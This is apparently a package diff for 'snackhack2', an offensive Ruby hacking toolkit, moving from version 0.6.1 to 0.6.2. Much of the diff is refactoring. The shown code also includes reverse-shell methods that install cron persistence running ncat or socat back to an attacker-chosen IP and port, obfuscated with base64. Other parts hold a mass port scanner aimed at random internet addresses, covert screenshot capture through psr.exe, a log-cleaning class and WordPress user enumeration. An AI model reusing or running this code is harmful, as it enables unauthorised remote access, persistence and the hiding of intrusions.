snackhack2 0.6.1 → 0.6.2

data/lib/snackhack2/phone_number.rb

@@ -2,9 +2,9 @@ require 'httparty'
 require 'spidr'
 module Snackhack2
   class PhoneNumber
-    attr_accessor :save_file
+    attr_accessor :save_file, :site
 
-    def initialize(site, save_file: true)
+    def initialize(save_file: true)
       @site = site
       @save_file = save_file
     end
@@ -27,7 +27,6 @@ module Snackhack2
       if !numbers.empty?
         if @save_file
           hostname = URI.parse(@site).host
-          puts "[+] Saving to #{hostname}_phone_numbers.txt..."
           Snackhack2::file_save(@site, "phone_numbers", numbers.join("\n"))
         end
       end

data/lib/snackhack2/portscan.rb

@@ -1,13 +1,14 @@
 # frozen_string_literal: true
 
-
 module Snackhack2
   class PortScan
-    attr_accessor :display, :ip, :delete
-    def initialize(ip, display: true, delete: false)
-      @ip = ip
+    attr_accessor :display, :ip, :delete, :count
+
+    def initialize(display: true, delete: false, count: 10)
+      @ip      = ip
       @display = display
-      @delete = delete
+      @delete  = delete
+      @count   = count
     end
 
     def run
@@ -16,18 +17,36 @@ module Snackhack2
       ports.each { |i| threads << Thread.new { tcp(i) } }
       threads.each(&:join)
     end
+
+    def mass_scan
+      generate_ips.each do |ips|
+        tcp = PortScan.new
+        tcp.ip = ips
+        tcp.run
+      end
+    end
+
+    def generate_ips
+      ips = []
+      @count.to_i.times do |c|
+        ips << Array.new(4) { rand(256) }.join('.')
+      end
+      ips
+    end
+
     def ports_extractor(port)
-      ip=[]
+      ip = []
       files = Dir['*_port_scan.txt']
       files.each do |f|
-        r=File.read(f)
+        r = File.read(f)
         if r.include?(port)
           ip << f.split("_")[0]
         end
-      File.delete(f) if delete
+        File.delete(f) if delete
       end
-    File.open("#{port}_scan.txt", 'w+') { |file| file.write(ip.join("\n")) }
+      File.open("#{port}_scan.txt", 'w+') { |file| file.write(ip.join("\n")) }
     end
+
     def tcp(i)
       ip = @ip
       open_ports = []
@@ -36,18 +55,19 @@ module Snackhack2
           s = TCPSocket.new(@ip, i)
           s.close
           open_ports << i
-        rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH
+        rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Errno::ENETUNREACH
           return false
         end
       rescue Timeout::Error
       end
       return if open_ports.empty?
+
       if @display
         open_ports.each do |port|
           puts "#{port} is open"
         end
       end
-    File.open("#{ip}_port_scan.txt", 'a') { |file| file.write(open_ports.shift.to_s+ "\n") }
+      File.open("#{ip}_port_scan.txt", 'a') { |file| file.write(open_ports.shift.to_s + "\n") }
     end
   end
 end

data/lib/snackhack2/reverse_shell.rb

@@ -1,7 +1,8 @@
 require 'base64'
 module Snackhack2
   class ReverseShell
-    def initialize(ip, port)
+    attr_accessor :ip, :port
+    def initialize
       @ip   = ip
       @port = port
     end
@@ -12,17 +13,19 @@ module Snackhack2
 			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
       puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
     end
+
     def version2
-    	c = %Q{#!/bin/bash
+      c = %Q{#!/bin/bash
 			line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
-			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}	
-    	puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
+			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
+      puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
     end
+
     def bash
-    	c = %Q{
+      c = %Q{
     		bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane"
     	}
-    	Process.spawn(c)
+      Process.spawn(c)
     end
   end
 end

data/lib/snackhack2/robots.rb

@@ -2,6 +2,7 @@
 
 module Snackhack2
   class Robots
+    
     def initialize(site, save_file: true)
       @site = site
       @http = Snackhack2::get(File.join(@site, "robots.txt"))

data/lib/snackhack2/screenshots.rb

@@ -1,21 +1,23 @@
-require 'shellwords'
-module Snackhack2
-	class ScreenShot
-		attr_accessor :zip, :time
-		# https://lolbas-project.github.io/lolbas/Binaries/Psr/
-	    def initialize
-	    	@zip = "screenshots.zip"
-	    	@time = 60
-	    end
-	    def run
-	    	File.open("lol.bat", 'w+') { |file| file.write("psr.exe /start /output #{@zip} /sc 1 /gui 0") }
-	    	File.open("lol2.bat", 'w+') { |file| file.write("psr.exe /stop") }
-	    	Process.spawn("lol.bat")
-	    	sleep @time.to_i
-	    	system("lol2.bat")
-	    	sleep 2
-	    	File.delete("lol.bat")
-	    	File.delete("lol2.bat")
-	    end
-	end
-end
+require 'shellwords'
+module Snackhack2
+  class ScreenShot
+    attr_accessor :zip, :time
+
+    # https://lolbas-project.github.io/lolbas/Binaries/Psr/
+    def initialize
+      @zip = "screenshots.zip"
+      @time = 60
+    end
+
+    def run
+      File.open("lol.bat", 'w+') { |file| file.write("psr.exe /start /output #{@zip} /sc 1 /gui 0") }
+      File.open("lol2.bat", 'w+') { |file| file.write("psr.exe /stop") }
+      Process.spawn("lol.bat")
+      sleep @time.to_i
+      system("lol2.bat")
+      sleep 2
+      File.delete("lol.bat")
+      File.delete("lol2.bat")
+    end
+  end
+end

data/lib/snackhack2/version.rb

@@ -1,5 +1,5 @@
 # frozen_string_literal: true
 
 module Snackhack2
-  VERSION = '0.6.1'
+  VERSION = '0.6.2'
 end

data/lib/snackhack2/webserver_log_cleaner.rb

@@ -2,7 +2,8 @@
 
 module Snackhack2
   class WebServerCleaner
-    def initialize(ip, path: File.join('/var/log', 'access.log'))
+    attr_accessor :ip
+    def initialize(path: File.join('/var/log', 'access.log'))
       @ip   = ip
       @path = path
     end

data/lib/snackhack2/website_links.rb

@@ -4,9 +4,9 @@ require 'nokogiri'
 require 'open-uri'
 module Snackhack2
   class WebsiteLinks
-    attr_accessor :save_file
+    attr_accessor :save_file, :site
 
-    def initialize(site, save_file: true)
+    def initialize(save_file: true)
       @site = site
       @save_file = save_file
     end

data/lib/snackhack2/website_meta.rb

@@ -4,7 +4,8 @@ require 'nokogiri'
 require 'open-uri'
 module Snackhack2
   class WebsiteMeta
-    def initialize(site)
+    attr_accessor :site
+    def initialize
       @site = site
     end
 

data/lib/snackhack2/wordpress.rb

@@ -1,11 +1,12 @@
 # frozen_string_literal: true
 
+require 'nokogiri'
 require 'json'
 module Snackhack2
   class WordPress
     attr_accessor :save_file, :site
 
-    def initialize(site, save_file: true)
+    def initialize(save_file: true)
       @site = site
       @save_file = save_file
     end
@@ -26,7 +27,7 @@ module Snackhack2
     def users
       found_users = ''
       begin
-        users = Snackhack2::get(File.join(@site, "wp-login", "wp", "users")).body
+        users = Snackhack2::get(File.join(@site, "wp-json", "wp", "v2", "users")).body
         json = JSON.parse(users)
         json.each do |k|
           found_users += "#{k['name']}\n"
@@ -48,7 +49,7 @@ module Snackhack2
       s = Snackhack2::get(File.join(@site, '/wp-content/uploads/'))
       if s.code == 200
         if s.body.include?('Index of')
-          puts "[+] #{File.join(@site, '/wp-content/uploads/')} is valid..."
+          puts "[+] #{File.join(@site, '/wp-content/uploads/')} is valid...\n\n\n"
         end
       end
     end
@@ -74,8 +75,12 @@ module Snackhack2
     def yoast_seo
       ys = Snackhack2::get(@site)
       if ys.code == 200
-        if ys.body.match(/ This site is optimized with the Yoast SEO plugin\s.\d\d.\d/)
-          puts "#{ys.body.match(/ This site is optimized with the Yoast SEO plugin\s.\d\d.\d/)}"
+        yoast_version = ys.body.split("<!-- This site is optimized with the Yoast SEO Premium plugin")[1].split(" -->")[0]
+        ["This site is optimized with the Yoast SEO plugin",
+         "This site is optimized with the Yoast SEO Premium plugin"].each do |site|
+          if !ys.body.scan(/#{site}/).shift.nil?
+            puts "#{ys.body.scan(/#{site}/).shift.to_s} with version #{yoast_version}"
+          end
         end
       end
     end

data/lib/snackhack2.rb

@@ -2,6 +2,7 @@
 
 require 'uri'
 require 'httparty'
+
 require_relative 'snackhack2/version'
 require_relative 'snackhack2/bannergrabber'
 require_relative 'snackhack2/wordpress'
@@ -28,6 +29,9 @@ require_relative 'snackhack2/reverse_shell'
 require_relative 'snackhack2/forward_remote'
 require_relative 'snackhack2/screenshots'
 require_relative 'snackhack2/indirect_command_injection'
+require_relative 'snackhack2/list_users'
+require_relative "snackhack2/bypass_403"
+require_relative "snackhack2/comments"
 
 module Snackhack2
   UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
@@ -49,10 +53,11 @@ module Snackhack2
       end
     end
   end
-  def self.file_save(site, type, content, ip:false)
-      hostname = URI.parse(site).host
-      File.open("#{hostname}_#{type}.txt", 'w+') { |file| file.write(content) }
-      puts "[+] Saving file to #{hostname}_#{type}.txt..."
+
+  def self.file_save(site, type, content, ip: false)
+    hostname = URI.parse(site).host
+    File.open("#{hostname}_#{type}.txt", 'w+') { |file| file.write(content) }
+    puts "[+] Saving file to #{hostname}_#{type}.txt..."
   end
 
   def self.get(site)
@@ -65,6 +70,7 @@ module Snackhack2
       File.delete(file)
     end
   end
+
   def self.read_portscan
     files = Dir['*_port_scan.txt']
     files.each do |f|

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: snackhack2
 version: !ruby/object:Gem::Version
-  version: 0.6.1
+  version: 0.6.2
 platform: ruby
 authors:
 - mike
 autorequire: 
 bindir: exe
 cert_chain: []
-date: 2024-09-02 00:00:00.000000000 Z
+date: 2024-10-19 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: httparty
@@ -77,6 +77,8 @@ files:
 - lib/snackhack2/Honeywell_PM43.rb
 - lib/snackhack2/WP_Symposium.rb
 - lib/snackhack2/bannergrabber.rb
+- lib/snackhack2/bypass_403.rb
+- lib/snackhack2/comments.rb
 - lib/snackhack2/cryptoextractor.rb
 - lib/snackhack2/drupal.rb
 - lib/snackhack2/emails.rb
@@ -84,6 +86,8 @@ files:
 - lib/snackhack2/google_analytics.rb
 - lib/snackhack2/indirect_command_injection.rb
 - lib/snackhack2/iplookup.rb
+- lib/snackhack2/list_users.rb
+- lib/snackhack2/lists/directory-list-2.3-big.txt
 - lib/snackhack2/lists/sshbrute.txt
 - lib/snackhack2/lists/subdomains.txt
 - lib/snackhack2/phone_number.rb